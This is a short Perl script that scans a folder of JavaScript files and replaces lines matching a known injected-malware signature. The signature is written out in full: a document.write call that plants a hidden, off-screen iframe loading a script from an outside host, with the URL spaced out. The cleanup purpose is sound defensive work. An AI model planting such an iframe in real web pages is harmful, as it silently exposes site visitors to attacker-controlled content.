use Modern::Perl;

use File::Find::Rule;
use File::Slurp qw/edit_file_lines/;

my $searchdir = "C:/scripts/corporate";
my $hacker_signature =
q|;document.write('<iframe width="50" height="50" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlqfn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></iframe>');|;

my @jsfiles = find( file => name => '*.js' => in => $searchdir );
for my $file (@jsfiles) {
    edit_file_lines
        { $_ = "DELETED HACKED CONTENT\n" if /$hacker_signature/ }
        $file;
}